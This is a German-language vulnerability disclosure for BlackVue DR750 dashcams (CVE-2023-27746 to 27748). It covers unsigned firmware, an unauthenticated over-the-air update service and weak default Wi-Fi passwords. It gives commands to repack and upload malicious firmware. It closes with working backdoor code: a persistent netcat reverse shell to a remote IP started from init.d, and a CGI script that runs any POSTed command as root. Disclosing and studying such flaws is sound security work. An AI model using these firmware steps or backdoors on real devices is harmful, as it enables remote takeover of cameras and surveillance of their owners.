
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
Das Folgende dient ausschließlich zu Bildungszwecken. Versuchen Sie dies nicht an einem Gerät, das Ihnen nicht gehört oder für das Sie keine Nutzungsberechtigung haben.
Zum Zeitpunkt dieses Schreibens gibt es etwa ~300 anfällige BlackVue-Geräte online, die leicht entdeckt und ausgenutzt werden können, und es ist kein offizieller Patch verfügbar.
BlackVue wurde am 30.07.2022 über diese Schwachstellen informiert und antwortete, man werde sich der Sache annehmen. Bisher ist jedoch nach unserem Kenntnisstand nichts passiert.
Es gibt keine Authentizitätsprüfung für die Firmware, was es einem böswilligen Angreifer ermöglicht, eine benutzerdefinierte Firmware hochzuladen. Diese benutzerdefinierte Firmware kann Hintertüren oder Exploits enthalten.
Schritte zur Reproduktion:
.zip-Datei, die die Firmware-Dateien enthältpatch_<dashcam_name>.bintar.gz packenpatch_<dashcam_name>.bin (siehe sue_checksum)# downloaded from https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# make changes in patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Legen Sie dann einfach den Ordner BlackVue auf die SD-Karte der Dashcam, und sie wird ihn ausführen.
Wenn Sie eine Firmware für FOTA (Firmware Over The Air) erstellen, erstellen Sie stattdessen eine .tgz-Datei des System-Verzeichnisses.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Diese Datei kann dann später verwendet werden, um mit FOTA eine benutzerdefinierte Firmware hochzuladen und eine Dashcam vollständig zu kompromittieren.
Es ist wichtig zu beachten, dass während der Tests festgestellt wurde, dass die eingebauten Hintertüren auch dann bestehen blieben, wenn die offizielle Firmware von der BlackVue-Website zurück auf das Gerät geflasht wurde.
Die BlackVue-Dashcams hören auf Port 9771/TCP, wo der FOTA-Dienst (Firmware Over The Air) läuft.
Dieser Dienst ermöglicht Ping, Neustart, Abrufen der Gerätezeit, Firmware-Upgrade usw.
Es gibt nichts, das diesen Endpunkt schützt, und er kann bei Verbindung mit demselben LAN wie die Dashcam oder aus dem Internet zugegriffen werden, wenn die Dashcam mit LTE verbunden ist, was ein erhebliches Sicherheitsrisiko darstellt. Ein Python-Skript, das mit dem FOTA-Dienst kommunizieren kann, finden Sie hier.
Erstellen Sie eine neue Firmware basierend auf den Schritten aus dem vorherigen Abschnitt und laden Sie sie mit dem Python-Skript hoch.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Dieses Dienstprogramm wird ohne Funktionsgarantie bereitgestellt, aber es hat bereits einmal funktioniert.
Die Dashcams werden ohne aktivierte Firewall ausgeliefert, was weniger problematisch ist, wenn die Dashcam nur über WLAN verbunden ist. Allerdings ist die LTE-Version direkt mit dem Internet verbunden, da einige Mobilfunkanbieter keine Firewall eingerichtet haben und ihre Benutzer nicht hinter NAT stellen. Dies kann durch einen Blick auf die extrahierte Firmware überprüft werden.
Zumindest sollten die BlackVue-Dashcams mit LTE Verbindungen auf der LTE-Seite blockieren.
Das Standard-WLAN-Passwort für die Dashcam besteht nur aus Kleinbuchstaben und alphanumerischen Zeichen mit einer Länge von 8. Es ist möglich, einen Handshake von der Dashcam abzufangen und mit Tools von Aircrack-ng das Passwort zu berechnen (falls der Benutzer es nicht geändert hat). Dies kann in ca. ~4 Tagen mit gemieteter Hardware (~40 EUR) durchgeführt werden.
Standardmäßig kann der Webserver ohne Authentifizierung aufgerufen werden und legt verschiedene Endpunkte offen.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Diese Endpunkte ermöglichen Folgendes:
Die WLAN-SSID und das Passwort des Netzwerks, mit dem die Dashcam verbunden wird, werden auf der SD-Karte in der Dashcam gespeichert. Diese Daten sind verschlüsselt, aber der Schlüssel kann durch Reverse Engineering der App leicht ermittelt werden. Wie durch wifi-decrypt.py demonstriert.
Es ist auch erwähnenswert, dass beim Ändern des WLAN-Netzwerks, mit dem die Dashcam verbunden werden soll, diese Werte an die Server von BlackVue gesendet werden, die sie speichern, bis sie die Informationen an die Dashcam senden können. Ob diese Daten gelöscht werden, sobald die Dashcam verfügbar ist, ist unbekannt.
All dies kann zu einer einfachen RCE (Remote Code Execution) kombiniert werden, insbesondere bei den LTE-Dashcams.
Einige Beispiele für Hintertüren, die in benutzerdefinierter Firmware enthalten sein könnten.
Die folgende Hintertür stellt eine Verbindung zu einem entfernten Rechner her und gewährt vollen Shell-Zugriff als root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
Das folgende init.d-Skript startet die Hintertür bei jedem Neustart und verbindet sich mit der angegebenen IP/Port.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiDie folgende Hintertür ermöglicht die Ausführung von Befehlen (als root), wenn eine Nutzlast an den Webserver gesendet wird.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # set the data-type we want to use
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING